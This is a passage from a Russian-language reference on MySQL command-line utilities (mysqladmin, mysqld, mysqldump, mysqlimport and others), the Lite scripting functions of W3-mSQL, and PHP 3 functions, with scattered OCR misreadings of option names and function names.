    -p [password], --password[=password]

    Пароль, используемый при подключении к серверу баз данных. Если этот параметр используется без аргумента, пароль запрашивается из командной строки.

    -P port, -port=port

    Номер порта для подключения к серверу баз данных.

    -q, -quick

    Показывать информацию так, как она приходит от сервера. Если, используя эту функцию, вы приостановите свой терминал, сервер также может приостановиться.

    -r. -raw

    Показывать результаты без какого-либо преобразования. Полезно только в сочетании с -В.

    -s, --silent

    Не выводить некоторые результаты.

    -S file, -socket=file

    Файл сокета Unix, используемый для подключения к серверу баз данных.

    -t, -table

    Показывать результат в табличном формате.

    -Т, -debug-info

    Показать отладочную информацию при выходе из программы.

    -и username, -user=username

    Имя пользователя, используемое при подключении к базе данных.


    -v, -verbose

    Вывести дополнительные результаты.

    -V, -version

    Вывести информацию о версии.

    -w, -wait

    Если не удается подключиться к серверу баз данных, подождать и попытаться повторить подключение позднее.

    mysqlaccess

    mysqlaccess [options] [host] user database

    Показывает и изменяет права доступа к серверу MySQL. Вы можете проверить права пользователя для любой базы данных и для подключения с любого хоста. Для выбора нескольких хостов, пользователей и баз данных возможно использование маскирующих символов (wildcards) оболочки Unix '*' и '?'. Все действия выполняются над копией действующей таблицы привилегий, пока не будет вызвана команда mysqlaccess -commit .

    Параметры

    -?, -help

    Показать справочную информацию по пользованию утилитой.

    -b, -brief

    Показать результаты в виде краткой однострочной таблицы.

    -commit

    Перенести изменения из временной таблицы в действующую таблицу привилегий. Вы должны запустить mysqladmin reload, чтобы сделанные изменения вступили в силу.

    -сору

    Обновить временную таблицу, используя действующую таблицу привилегий.

    -d database, -db=database

    База данных, к которой происходит подключение.

    -debug=debuglevel

    Установить отладочный уровень (от 0 до 3).

    -h host, -host=host

    Имя хоста, права доступа которого проверяются.

    -howto

    Примеры использования программы.

    -Н host, --rhost=host

    Подключиться к серверу баз данных на удаленном хосте.

    -old-server

    Подключится к серверу MySQL версии старше 3.21.

    -р password, -password=password

    Проверить пароль идентифицируемого пользователя.

    -plan

    Показать предложения к следующей версии программы.

    -preview

    Показать разницу между действующей и временной таблицами привилегий.

    -Р password, -spassword=password

    Пароль администратора для доступа к таблице привилегий.

    --relnotes

    Вывести примечания к версии программы.

    --rollback

    Отменить изменения, сделанные во временной таблице.

    -t,--table

    Вывести результаты в полном табличном формате.

    -и username, -user=username


    Имя проверяемого пользователя.

    -U username. -superuser=username

    Имя администратора для доступа к таблицам привилегий.

    -v,--version

    Вывести информацию о версии.

    mysqladmin

    mysqladmin [options] command [command. . . ]

    Выполняет операции, действующие на сервер баз данных в целом. Эта утилита используется для выключения сервера, добавления и удаления целых баз данных и для других административных функций.

    Команды

    create database

    Создать новую базу данных.

    drop database

    Уничтожить базу данных.

    extended-status

    Выдать отчет о состоянии сервера, более полный, чем это делает команда status.

    flush-hosts

    Послать клиентам всю информацию, находящуюся в буфере.

    flush-logs

    Записать на диск все журнальные данные из буфера.

    flush-privileges

    То же, что и reload,

    flush-status

    Обнулить переменные состояния.

    flush-tables

    Выполнить все буферизованные табличные операции.

    kill thread-id [thread-id...]

    Завершить один или несколько потоков mysqld.

    password password

    Установить пароль администратора для сервера баз данных.

    ping

    Проверить, работает ли сервер MySQL.

    processlist

    Показать активные потоки сервера mysqld.

    reload

    Перезагрузить информацию о правах доступа из таблицы привилегий.

    refresh

    Выполнить все буферизованные табличные операции и открыть заново файлы журналов.

    shutdown

    Закончить работу сервера баз данных.

    status

    Отчет о состоянии сервера.

    variables

    Вывести системные переменные, используемые сервером.

    version

    Вывести номер версии сервера.

    Параметры

    -?, -help

    Вывести информацию об использовании утилиты.

    -# debuglevel, ~debug=debuglevel

    Установить отладочный уровень. См. isamchk для подробной информации.

    -f, --force

    Удалить таблицы без подтверждения. Также не выходить из программы при обнаружении ошибки.

    -h host, --host=host

    Подключиться к серверу MySQL на указанном хосте.

    -i seconds, --sleep=seconds

    Последовательно выполнять команды, делая между каждым запуском паузу длиной в указанное количество секунд.


    -р [password], --password=[password]

    Пароль, используемый для подключения к серверу баз данных. Если использовать без аргумента, пароль будет запрошен из командной строки.

    -Р port, --port=port

    Порт, используемый для подключения к удаленному серверу баз данных.

    -s, --silent

    Не выдавать сообщение об ошибке при невозможности подключения к серверу баз данных.

    -S file, --socket=file

    Сокет Unix, используемый для подключения к локальному серверу баз данных.

    -и username, --user=username

    Имя пользователя, используемое для подключения к серверу баз данных.

    -V, --version

    Вывести информацию о версии программы mysqladmin.

    mysqlbug

    mysqlbug

    Отчет об ошибках в программах и утилитах MySQL. Эта программа собирает информацию о вашей инсталляции MySQL и высылает детальный отчет о проблеме команде разработчиков MySQL.

    mysqld

    mysqld [options]

    Демон сервера MySQL. Все остальные программы взаимодействуют с базой данных через этот сервер, поэтому он должен работать постоянно (за исключением отключений для настройки). Демон обычно запускается из скрипта, называемого safe_mysqld. Этот скрипт устанавливает необходимые переменные окружения и запускает mysqld с нужными параметрами.

    Параметры

    -?, -I, -help

    Показать информацию об использовании демона.

    -# debuglevel, -debug=debuglevel

    Устанавливает отладочный уровень. См. Isamchk для детальной информации.

    -b directory, --basedir=directory

    Основной каталог, используемый при определении всех остальных каталогов.

    --big-tables

    Позволить работу с большими результирующими наборами, сохраняя временные результаты в файле.

    --bind-address—ip-number

    IP-адрес, к которому привязан сервер.

    -h directory, --datadir=directory

    Каталог, содержащий файлы данных баз данных.

    -l [logfile], -log [=logfile]

    Записывает в журнал различную информацию, включая сообщения об ошибках и подключениях. Если аргумент не указан, в ка-честве файла журнала используется hostname, log , где hostname - имя компьютера, на котором работает сервер.


    --log-isam[=logfile]

    Создает журнал изменения в файлах данных (ISAM). Если аргумент не задан, в качестве файла журнала используется isam.log. Созданным журналом можно управлять с помощью утилиты isamlog.

    --log-update [=number]

    Создает журнал изменения базы данных. Журнал будет назван hostname.num, где hostname - имя сервера, а num - аргумент, заданный в команде. Если аргумент не указан, будет использоваться уникальное число.

    -L=language, --language=language

    Язык (English, French и т. д.), который будет использовать сервер.

    -п, --new

    Разрешить запуск новых (и, возможно, небезопасных) подпрограмм.

    -о, -old-protocol

    Использовать протокол 3.20.x.

    -О variable=value, -set-variable variable=value

    Установить переменные. См. главу 16, где приводится полный список переменных.

    --pid-file=file

    Имя файла, в котором содержится идентификатор процесса (PID) запущенного .сервера. Значение по умолчанию hostname, pid , где hostname - имя серверной машины.

    -P port, -port=port

    Номер используемого сетевого порта.

    -secure

    Разрешение сетевой проверки безопасности, что снижает производительность базы данных.

    -skip-name-resolve

    Использовать для подключения только IP-номера (а не имена). Это увеличивает производительность работы с сетью.

    --skip-networking

    Запретить сетевые подключения и использовать только локальный доступ.

    --skip-thread-priority

    Дать всем потокам одинаковый приоритет.

    -S, -skip-new

    Не разрешать новые (и, возможно, небезопасные) запуски демона.

    -sg

    Запретить проверку прав доступа и дать всем пользователям полный доступ на все базы данных.

    -Sl

    Не выполнять блокировку потоков.

    --socket=file

    Имя файла сокета Unix.

    -Т, --exit-info

    Выводить отладочную информацию при выключении сервера.

    --use-locking

    Разрешить блокировку потоков.

    -v, -V, --version

    Вывести информацию о версии.

    mysqldump

    mysqldump [options] database [table]

    Выдает содержимое указанной базы данных (или таблицы базы данных) в виде серии команд ANSI SQL. Эта команда удобна при разделении базы данных; используйте параметры -1 и -opt.


    Параметры

    -?, --help

    Вывести информацию об использовании утилиты.

    -# debuglevel, --debug=debuglevel

    Установить отладочный уровень. Список всех доступных параметров можно найти по адресу: http://www.turbolift.com/mysql/appendixC.html.

    -add-drop-table

    Вставлять команду DROP TABLE перед каждой командой CREATE TABLE.

    --add-locks

    Обрамлять командой LOCK TABLE команды ввода данных.

    -allow-keywords

    Выводить имена столбцов, которые совпадают с ключевыми словами. Обычно это нежелательно, так как они могут конфликтовать между собой.

    -с, --compleat-insert

    Выводить полные инструкции INSERT.

    -С, --compress

    Использовать сжатие данных при подключении к серверу.

    --delayed

    Использовать INSERT DELAYED при вставке записей.

    -d, --no-data

    Не выводить данные, записывать только операторы создания таблиц.

    -е, --extended-insert

    Использует вариант команды INSERT со множеством вводимых записей, что может ускорить последующий ввод данных.

    -f, --force

    Не выходить из программы при обнаружении ошибки.

    -F, --flush-logs

    Записать на диск данные журнала из буфера перед созданием дампа таблиц(ы).

    --fields-enclosed-by=delimeter

    При дампе с параметром -Т этот разделитель помещается по сторонам каждого поля.

    --fields-escaped-by=delimeter

    При дампе с параметром -Т этот разделитель помещается перед всеми специальными символами в качестве управляющего символа.

    --fields-terminated-by=delimeter

    При дампе с параметром -Т этот разделитель используется после каждого поля (по умолчанию - табуляция).

    -h hostname, --host=hostname

    Подключиться к серверу баз данных на удаленном хосте.

    -l, --lock-tables

    Заблокировать таблицы перед дампом.

    --lines-terminated-by=delimeter

    При дампе с параметром -Т этот разделитель используется после каждой строки.

    -t, --no-create-info

    He выполнять дамп команд описания таблиц, записывать только данные.

    -О variable=value, -set-variable variable=value

    Установить переменную. См. главу 16, где находится полный список используемых переменных.


    --opt

    Добавляет наиболее употребительные и полезные параметры командной строки: --add-drop-table, —add- locks, --extended-insert, --quick и --use-locks.

    -P [password], -password [=password]

    Пароль, используемый для подключения к серверу базы данных. Если не указан аргумент, пароль будет запрошен из командной строки.

    -Р port, -port=port

    Порт, используемый для подключения к удаленному серверу баз данных.

    -q, -quick

    Показывать все данные немедленно, без буферизации.

    -S file, --socket=file

    Сокет Unix, используемый для локального подключения к серверу.

    -Т directory, --tab=directory

    Генерирует файл с символом табуляции в качестве разделителя, куда помещаются данные, одновременно с файлом, содержащим SQL-команды, описывающие создание таблицы. Файлы записываются в указанный каталог.

    -u username, --user=username

    Имя пользователя, используемое при подключении к серверу баз данных.

    -v, --verbose

    Показать информацию о состоянии процесса, пока происходит создание дампа данных.

    -V, -version

    Показать информацию о версии.

    -w statement, --where=statement

    Выводить только записи, удовлетворяющие заданному SQL-выражению WHERE.

    mysqlimport

    mysqlimport [options] database [file]

    Читает файл данных, который может иметь несколько форматов (таких как файл с запятыми-разделителями или файл с фиксированной шириной столбцов), и вставляет данные в базу данных. В базе данных необходима таблица с тем же, что и у файла, именем, которая должна иметь достаточное количество столбцов с подходящими типами для хранения данных.

    Параметры

    -?, --help

    Выдать информацию по использованию утилиты.

    -# debuglevel, -debug=debuglevel

    Установить отладочный уровень. Список всех доступных параметров можно найти по адресу: http://www.turbolift.com/mysql/appendixC.html.

    -d, --delete

    Удалить все данные, содержащиеся в таблице, перед вводом новых данных.

    -f, --force

    Не выходить из программы, если обнаружена ошибка

    --fields-terminated-by=string

    Указывает, что поля в файле данных заканчиваются символами, указанными в string.


    --fields-enclosed-by=string

    Указывает, что поля в файле данных с двух сторон заключены в символы string.

    --fields-optionally-enclosed-by=string

    Указывает, что поля в файле данных могут обрамляться (не обязательно) с двух сторон и другими указанными в string символами.

    --fields-escaped-by=string

    Заданное значение string используется в файле данных как управляющий символ.

    -h hostname, --host=hostname

    Подключиться к серверу баз данных на удаленном хосте.

    -I, --ignore

    Игнорировать новые данные, если они конфликтуют с существующим уникальным ключом.

    -l, --lock-tables

    Заблокировать таблицы перед вставкой данных.

    -р [password], --password[=password]

    Пароль, используемый для подключения к серверу базы данных. Если не указан аргумент, пароль запрашивается из командной строки.

    -Р port, --port=port

    Порт, используемый для подключения к удаленному серверу баз данных.

    -r, --replace

    Если новые данные конфликтуют с существующим уникальным ключом, старые данные заменяются.

    -s, --silent

    Не показывать некоторые результаты.

    -S file, -socket=file

    Сокет Unix, используемый для локального подключения к серверу.

    -u username, --user=username

    Имя пользователя, используемое при подключении к серверу баз данных.

    -v, --verbose

    Показать информацию о состоянии процесса, пока происходит вставка данных.

    -V, -version

    Показать информацию о версии.

    mysqlshow

    mysqlshow [options] [database] [table] [field]

    Показывает структуру указанной базы данных, таблицы или поля. Если не заданы аргументы, выдается список всех баз данных. С одним аргументом будет выдана информация о структуре указанной базы. С двумя аргументами программа выдаст информацию об указанной таблице. Если указать все три элемента, будет показана информация об отдельном указанном поле таблицы.

    Параметры

    -?, -help

    Выдать справку по использованию утилиты.

    -# debuglevel, --debug=debuglevel

    Установить отладочный уровень. Список всех доступных параметров можно найти по адресу: http://www.turbolift.com/mysql/appen-dixC.html.


    -h hostname, --host=hostname

    Подключиться к удаленному серверу баз данных.

    -k, --keys

    Показать ключи таблицы.

    -Р [password], -password]=password]

    Пароль, используемый для подключения к серверу базы данных. Если не указан аргумент, пароль запрашивается из командной строки.

    -Р port, --port=port

    Порт, используемый для подключения к удаленному серверу баз данных.

    -S file, --socket=file

    Сокет Unix, используемый для локального подключения к серверу.

    -и username, --user=username

    Имя пользователя, используемое при подключении к серверу баз данных.

    -V, --version

    Показать информацию о версии.



    Lite

    Lite - это язык сценариев, используемый W3-mSQL. Его синтаксис очень похож на С и еще больше на Perl. Фактически, многие скрипты Lite синтаксически неотличимы от сценариев Perl. Однако Lite лишен многих расширенных возможностей Perl.

    Ниже приводится краткий справочник стандартных функций Lite, доступных при использовании W3-mSQL.

    chdir

    $result = chdir($path)

    Изменяет каталог на указанный путь. Если операцию произвести не удалось, возвращается отрицательное целое число.

    chmod

    $result = chmod($filename, $mode)

    Изменяет режим указанного файла на значение, заданное в mode. Если операцию произвести не удалось, возвращается отрицательное целое число. Значение mode может быть задано как десятичное, восьмеричное или шестнадцатеричное.

    chop

    $string = chop($string)

    Возвращает строку, у которой удален последний символ. Это весьма удобно для удаления символа конца строки из строк, прочитанных функцией read In.

    close

    close ($fd)

    Закрывает файл, связанный с указанным файловым дескриптором.

    ctime

    $time = ctime($time)

    Преобразует время time, заданное некоторым числом секунд с начала отсчета, в обычное текстовое представление времени Unix.

    echo

    echo($string)

    Печатает заданную строку. Все переменные в строке заменяются на их значения.

    fprintf

    fprintf($fd, $string [, arg ...])

    Работает как функция С (или Perl) с тем же именем. Первый аргумент - это файловый дескриптор. Отформатированная строка печатается в файл, связанный с файловым дескриптором.

    gethostbyaddr

    $hostinfo = gethostbyaddr($address)

    Возвращает тот же массив, что и gethostbyname() для указанного IP-адреса. IP-адрес должен быть задан десятичной строкой типа "127.0.0.1". В официальной документации к W3-mSQL эта функция называется и gethostbyaddr , и gethostbyaddress . На момент написания этих строк gethostbyadd ress не было среди функций W3-mSQL.

    gethostbyname

    $hostinfo = gethostbyname($host)

    Возвращает массив информации об указанном хосте. Первый элемент массива - это имя хоста, второй элемент - это его IP-адрес.


    getpid

    $pid = getpid()

    Возвращает идентификатор процесса (PID) программы Lite.

    getpwnam

    $entry = getpwnam($username)

    Возвращает массив информации о пользователе с пользовательским именем username . В массиве имеются следующие поля:

  • Имя пользователя.

  • Пароль.

  • UID.

  • GID.

  • GECOS (полное имя и другая дополнительная информация).

  • Домашний каталог.

  • Оболочка.

    getpwuid

    $entry = getpwuid($UID)

    Возвращает массив, идентичный массиву, возвращаемому getpwnam для пользователя с пользовательским ID $UID.

    includeFile

    includeFile($filename)

    Эта функция подключает файл filename к результату программы. Файл никак не изменяется и не анализируется.

    kill

    $result = kill($pid, $signal)

    Посылает сигнал signal процессу pid. Если операцию выполнить не удалось, возвращается отрицательное целое число.

    link

    $result = link($file, $newlinkname)

    Создает "жесткую" ссылку от file к newlinkname . Если операцию совершить не удалось, возвращается отрицательное целое число.

    mkdir

    $result = mkdir($directoryname)

    Создает каталог с указанным именем. Если операцию выполнить не удалось, возвращается отрицательное целое число.

    msqIConnect

    $socket = msqlConnect($host)

    Подключается к серверу mSQL на хосте host. Возвращает номер соке-та, используемый для последующей связи с сервером баз данных. При неудаче возвращается отрицательное целое число.

    msqICIose

    msqlClose($socket)

    Закрывает подключение, указанное сокетом socket.

    msqIDataSeek

    msqlDataSeek($result, $location)

    Помещает 'указатель' для result среазу перед записью. Указав location 0, вы поместите указатель в начало данных. Следующий вызов msqlFetchRow выберет строку сразу после location.

    msqlEncode

    $string = msqlEncode($string)

    Функция возвращает перекодированную копию строки string, которую можно использовать в запросе mSQL.

    msqlFetchRow

    $row = msqlFetchRow($result)

    Эта функция возвращает в виде массива следующую доступную запись из result.

    msqIFieldSeek

    msqlFieldSeek($result, Slocation)


    Функция изменяет 'указатель' на результат, возвращаемый msqllnitFieldList, так же как msqIDataSeek изменяет результат msqlStoreResult . ..



    msqIFreeResult

    msqlFreeResult($result)

    Функция освобождает всю память, использованную результатом, выбранным из базы с помощью msqlStoreRcsult . Эту функцию необходимо вызывать для каждого результата, с которым вы закончили работать.

    msqllnitFieldList

    $result = msqlInitFieldList($socket, $database, $table)

    Создает информационную таблицу о таблице table в базе данных database на сервере, указанном аргументом socket.

    msqIListDBs

    $databases = msqlListDBs($socket)

    Возвращает массив имен всех доступных баз данных на сервере, указанном аргументом socket.

    msqIListField

    $tableinfo = msqlListField($result)

    Возвращает массив информации о следующем поле таблицы, созданной msqllnitFieldList , указываемой аргументом result. Каждый последующий вызов функции msqIListField выдает новый массив информации, пока не закончатся поля таблицы. Массив состоит из следующих полей:

  • Имя поля

  • Имя таблицы

  • Тип таблицы

  • Длина

  • Флаги

    msqIListTables

    $tables = msqlListTables($socket, $database)

    Возвращает массив имен доступных таблиц базы данных database на сервере, указанном аргументом socket.

    msqINumRows

    msqlNumRows($result)

    Возвращает количество записей в данных, содержащихся в result.

    msqIQuery

    $result = msqlQuery($socket, $query)

    Пытается послать запрос query к подключению, указанному аргументом socket. Если запрос не был успешно выполнен, возвращается отрицательное целое число.

    msqISelectDB

    $result = msqlSelectDB($socket, $database)

    Функция пытается подключить socket к базе данных, указанной аргументом database . Если попытка не удалась, возвращается отрицательное целое число.

    msqIStoreResult

    $result = msqIStoreResult

    Выбирает все данные, полученные в результате последнего вызова msqlQuery , и сохраняет их для чтения и обработки.

    open

    $fd = open($file, $mode)

    Эта функция открывает указанный файл, используя заданный режим, и связывает с файлом файловый дескриптор. Режимы могут быть следующими:


    > Открыть файл для записи

    <Открыть файл для чтения

    <> Открыть файл для чтения или записи

    <Р Создать именованный канал и открыть его для чтения

    >Р Создать именованный канал и открыть его для записи

    <| Выполнить файл как команду и прочесть результаты

    >| Выполнить файл как команду и сделать запись в процесс

    pid

    $pid = getppid()

    Возвращает идентификатор (PID) родительского для программы Lite процесса.

    printf

    printf($string [, arg, ... ])

    Работает как функция С (или Perl) с тем же именем. Значение переменных не подставляется; для ввода переменных в строку необходимо использовать стандартное для С форматирование '%s'.

    read

    $data = read($fd, $length)

    Читает указанное в length число байт из заданного файлового дескриптора.

    readln

    $line =readln($fd)

    Читает следующую строку из указанного файлового дескриптора.

    readtok

    $data = readtok($fd, $token)

    Функция читает данные из указанного файлового дескриптора, пока не встретит маркер token. Используется только первый символ из token.

    rename

    $result = rename($oldname, $newname)

    Функция пытается переименовать указанный файл (или каталог) из oldname в newname . Если операцию совершить не удалось, возвращается отрицательное целое число.

    rmdir

    $result = rmdir($path)

    Функция пытается удалить указанный каталог. Если операцию совершить не удалось, возвращается отрицательное целое число.

    setContentType

    setContentType($string)

    Заменяет заданный по умолчанию тип содержимого HTML-страницы, содержащей скрипт, на значение, указанное в string. Эта функция должна быть самой первой строкой документа. Перед ней не должно быть даже пустой строки.

    sleep

    sleep($time)

    Останавливает работу программы на указанное количество секунд.

    split

    $strings = split($string, $token)

    Разделяет заданную строку на массив строк, используя как разделитель символ token..

    stat

    $stat = stat($file)

    Возвращает массив информации о файле file. В массиве содержатся следующие элементы:


  • Номер inode.

  • Режим файла.

  • Количество ссылок на файл.

  • UID.

  • GID.

  • Размер файла.

  • Atime.

  • Mtime.

  • Ctime.

  • Размер блока файловой системы (в байтах).

  • Количество используемых блоков файловой системы.

    strftime

    $time = strftime($format, $time)

    Преобразует время Unix в текстовое представление времени, используя заданный формат format. Все описанные ниже последовательности в строке format заменяются на соответствующие им значения:



    День недели в виде местных сокращений названий дней недели.



    День недели в виде местных полных названий дней недели.

    %b

    Месяц в виде местных сокращенных названий.



    Месяц в виде местных полных названий месяцев.

    %d

    День месяца (01-31).

    %D

    День в виде % m/% d/% у.



    День месяца (1-31, перед числами первого десятка добавляется пробел).



    Час (00-23).

    %I

    Час (00-12).

    %j

    День в году (001-366).

    %h

    Часы (0-23, отделенные пробелами).

    %l

    Часы (1-12, отделенные пробелами).

    %m

    Номер месяца (01—12).

    %M

    Минуты (00-59).



    AM или РМ.

    %S

    Секунды (00-59).



    Время в виде % Н:% М:% S.

    %U

    Номер недели в году (01-52).

    %w

    День недели (0-6, воскресенье является 0).

    %y

    Год века (00-99).

    %Y

    Год, включая век (например 1999).

    strseg

    $string = strseg($string, $start, $end)

    Возвращает подстроку из указанной строки, которая начинается с позиции start и закачивается на позиции end от начала строки.

    sub

    $string = sub($string, $ехр1, $ехрr2)

    Заменяет любые вхождения exprl в string на значение ехрг2. Значения exprl и ехрг2 могут быть разными по длине, строка string автоматически будет укорочена либо удлинена.

    substr

    $string = substr($string1, $regexp, $string2)

    Находит подстроку в строке string"!, которая отвечает регулярному выражению regexp. Каждой части регулярного выражения, заключенной в скобки, присваивается переменная $1, $2, $3 и т. д., содержащая результат совпадения, если оно было найдено. Возвращается значение string2 , с расширенными переменными (включая $1, $2, $3 и т. д.).


    tr

    $string = tr($string, $list1, $list2)

    Функция замещает все символы из списка listl, которые находит в строке string, их эквивалентом в списке list2 (например, tr("Robby", "oy", "ai") вернет строку "Rabbi"). Список символов может содержать диапазон символов, разделенный "-". В частности, tr("e.e. cummings", "a-z," "A-Z") вернет строку "E.E. CUMMINGS."

    truncate

    $result = truncate($fale, $length)

    Функция пытается сократить размер файла до указанной в байтах длины length . Обычно используется для создания файла с нулевой длиной. Если попытка не удалась, вернется отрицательное целое число.

    umask

    umask($mask)

    Устанавливает umask текущего процесса в заданное значение mask, которое может быть десятичным, восьмеричным или шестнадцатерич-ным.

    unixtime2*

    $year = unixtime2year($time)

    $month = unixtime2month($time)

    $day = unixtime2day($time)

    $hour = unixtirne2hour($time)

    $min = unixtime2min($time)

    $sec = unixtime2sec($time)

    Данные функции берут в качестве аргумента значение времени в формате Unix и возвращают запрашиваемое значение. Например, функция unixtime2day(time()) может вернуть текущий день месяца (значение от 1 до 31).

    unlink

    $result = unlink("filename")

    Удаляет указанный файл. Если удалить файл не удалось, возвращается отрицательное целое число.

    urIEncode

    $string = urlEncode($string)

    Эта функция возвращает копию строки string , которая перекодирована для безопасной вставки в URL.

    PHP

    Здесь вы найдете краткое справочное руководство по РНР. Список приведенных функций относится к РНР 3. Описаны те функции, которые работают с MySQL и mSQL, но пропущены функции для работы с другими серверами баз данных, такими как Ababas D, dbm, Oracle и PostgreSQL.

    abs

    $pos_num = abs($number);

    Abs возвращает абсолютное значение аргумента number.

    addslashes

    $escaped_string = addslashes($string); .

    Возвращает копию строки string , в которой экранированы все символы $ \ или '.

    asort

    $sorted_array = asort($array);

    Возвращает отсортированную копию ассоциативного массива array, asort работает только с ассоциативными массивами. Для сортировки обычных массивов используйте sort. Если первый элемент массива является числом, возвращаемый массив будет отсортирован по порядку, иначе он будет отсортирован по алфавиту.

    bindec

    $decimal = bindec($binary);

    Функция возвращает десятичный эквивалент указанного двоичного числа binary.

    ceil

    $higher_integer = ceil($number);

    Округляет заданное число до следующего целого числа и возвращает результат как число с плавающей запятой.

    chdir

    chdir($directory);

    Изменяет текущий рабочий каталог на каталог, заданный аргументом.

    chgrp

    chgrp($file,Sgroupj;

    Изменяет идентификатор группы заданного файла на группу, указанную в аргументе.

    chimed

    chimed($file,$permissions);

    Функция изменяет права доступа к файлу на указанные в аргументе permissions . Этот аргумент задается в восьмеричном виде.

    chown

    chown($file, Sowner);

    Изменяет владельца заданного файла на указанного в аргументе owner. Эта функция будет работать только в том случае, если РНР выполняется от имени суперпользователя, что обычно не рекомендуется.

    chop

    $stripped_string = chop($string);

    Возвращает строку string , у которой удалены все имевшиеся концевые пробелы, табуляции и символы новой строки.

    chr

    $character = chr($number);

    Возвращает символ ASCII, соответствующий заданному числовому аргументу. Шестнадцатеричные и восьмеричные числа обозначаются как 0xff и 077 соответственно. Остальные числа считаются десятичными.


    clearstack

    clearstack();

    Очищает текущий стек. Эта функция создана специально, чтобы обойти некоторые ограничения в дизайне РНР. Если у вас есть пользовательская функция, содержащая большой цикл, вы можете столкнуться с проблемами, связанными с нехваткой стекового пространства. Если это происходит, вызовите clearstack() из этого цикла. Недостаток данного метода в том, что вашу функцию невозможно будет вызвать из другой функции. Результат функции следует сохранить в переменной, которая может быть затем использована по вашему усмотрению.

    clearstatcache

    clearstatcache();

    Очищает кэш, используемый всеми функциями, которые получают информацию о файлах. Так как доступ к такой информации занимает достаточно много времени, РНР хранит ее в кэше. Если вам необходи-ма уверенность, что используете самую свежую информацию о файле (то есть не кэшированную), вызовите функцию clearstatcache(); перед получением этой информации.

    closedir

    closed!r($directorу);

    Закрывает каталог, открытый функцией opendir.

    closelog

    closelog();

    Останавливает всю журнализацию, выполняемую функцией syslog .

    COS

    $result = cos($number);

    Возвращает косинус аргумента number.

    count

    $number = count($array);

    Возвращает число элементов в массиве array. Если переменная не является массивом, функция вернет значение 1 (так как переменная подобна массиву с только одним элементом). Если аргумент array не указан, функция вернет 0.

    crypt

    $encrypted_string = crypt($string);

    $encrypted_string = crypt($string, $salt);

    Шифрует заданную строку. Используется стандартный метод шифрования Unix - DES, тот же, что используется для шифрования паролей и т. д. Можно задать необязательный двухсимвольный аргумент salt (база для шифрования).

    date

    $formatted_date = date($format,$time);

    Вернет time (стандарное время Unix, выдаваемое функцией Time), отформатированное в указанный format. Возвращаемое значение имеет тот же вид, что и format, где все указанные ниже символы заменены на соответствующие значения:


    А АМ/РМ

    a am/pm

    D День (например Sun)

    d День (например 13)

    F Месяц (например February)

    Н Час в 24-часовом формате (например 17)

    h Час в 12-часовом формате (например 5)

    i Минуты (например 30)

    l День (например Sunday)

    М Месяц (например Feb)

    m Месяц (например 02)

    s Секунды (например 27)

    Y Год (например 1998)

    у Год (например 98)

    U Секунды с начала эпохи (отсчета) (например 803537321)

    Z День года (например 154)

    dblist

    $db_info = dblist();

    Вернет список СУБД, поддерживаемых РНР.

    decbin

    $binary = decbin($decimal);

    Возвращает двоичный эквивалент указанного десятичного числа.

    dexhex

    $hex = dechex($decimal);

    Возвращает шестнадцатеричный эквивалент указанного десятичного числа.

    decoct

    $octal = decoct($decimal);

    Возвращает восьмеричный эквивалент указанного десятичного числа.

    doubleval

    $double = doubleval($variable);

    Возвращает значение переменной в виде числа с плавающей запятой.

    echo

    echo [format_string] expression [, expression ...]

    He является настоящей функцией, скорее, это встроенная в РНР версия функции printf языка С. В самом простом варианте echo напечатает результат выражения expression . Можно указать до пяти выражений, результат каждого из которых будет напечатан по очереди. Также можно указать строку форматирования, которая должна иметь тот же вид, что и в функции printf языка С или Perl.

    end

    end($array);

    Устанавливает внутренний указатель массива array на последний элемент массива.

    ereg

    $result = ereg($expression, $string);

    $result = ereg($expression, $string, $match_array);

    Вернет true, если строка string отвечает регулярному выражению в expression . Если в качестве третьего аргумента указан массив, значение, отвечающее выражению, будет помещено в массив.

    eregi

    $result = eregi($expression, $string);

    $result = eregi($expression, Sstring, $match_array);

    Идентично ereg, за исключением того, что при сравнении игнорируется регистр.

    ereg_replace

    ereg_replace($expression, $replacement_string, $string);


    Замещает все части в указанной строке string , которые отвечают выражению expression , строкой replacement_string.

    eregi_replace

    eregi_replace($expression, $replacement_string, $string);

    Идентично ereg_replace, за исключением того, что при сравнении игнорируется регистр.

    escapeshellcmd

    $safe_string = escapeshellcmd(Sstring);

    Возвращает копию строки string, все спецсимволы которой перекодированы так, что строку можно безопасно использовать с функциями exec или system.

    eval

    eval($string);

    Обрабатывает содержимое строки string таким образом, как если бы это был скрипт РНР. Для строки выполняется подстановка переменных, поэтому, если вы хотите использовать переменную в этом "минискрипте", ее следует заэкранировать.

    exec

    $last_line = exec($command);

    $last_line = exec($command, $output_array);

    $last_line = exec($command, $output_array, $return_code);

    Выполняет в вызываемой подоболочке Unix команду command . Возвращается только последняя строка результата команды. Если вторым аргументом указан массив, все строки, выводимые командой, будут помещены в него. Если есть третий аргумент, в эту переменную записывается код возврата команды.

    exit

    exit();

    Завершение синтаксического анализа HTML-файла.

    ехр

    $result = exp($number);

    Возвращает число е, возведенное в указанную степень.

    fclose

    fclose($fd);

    Закрывает файл, открытый fopen.

    feof

    $result = feof($fd);

    Возвращает true, если файловый дескриптор fd находится в конце файла.

    fgets

    $line = fgets($fd, $max_bytes);

    Возвращает следующую строку (длиной до max_bytes ) из файла, на который указывает fd.

    fgetss

    $line = fgetss($fd, $max_bytes);

    Идентична fgets за исключением того, что эта функция пытается удалить любые теги HTML или РНР при чтении файла.

    file

    $аггау = file($filename);

    Возвращает массив, каждый элемент которого содержит строку файла, указанного в filename.

    fileatime

    $time = fileatime($filename);

    Возвращает (в стандартном формате времени Unix) время последнего доступа к файлу filename . Если эта информация по каким-либо причинам не может быть получена, функция возвращает — 1.


    filectime

    $time = filectime($filename);

    Возвращает время ( в стандартном формате времени Unix) последнего изменения статуса файла filename . Если эта информация по каким-либо причинам не может быть получена, функция возвращает -1.

    filegroup

    $group_id = filegroup($filename);

    Возвращает идентификатор группы файла. Если эта информация по каким-либо причинам не может быть получена, функция возвращает -1.

    fileinode

    $inode = fileinode($filename);

    Возвращает индексный дескриптор файла filename . Если эта информация по каким-либо причинам не может быть получена, функция возвращает -1.

    filemtime

    $time = filemtime($filename);

    Возвращает время (в стандартном формате времени Unix) последнего изменения файла filename . Если эта информация по каким-либо причинам не может быть получена, функция возвращает -1.

    fileowner

    $owner = fileowner($filename);

    Возвращает ID владельца файла. Если эта информация по каким-либо причинам не может быть получена, функция возвращает -1.

    fileperms

    $permissions = fileperms($filename);

    Возвращает права доступа к указанному в filename файлу. Если эта информация по каким-либо причинам не может быть получена, функция возвращает —1.

    filesize

    $size = filesize($filename);

    Возвращает размер файла в байтах. Если эта информация по каким-либо причинам не может быть получена, функция возвращает -1.

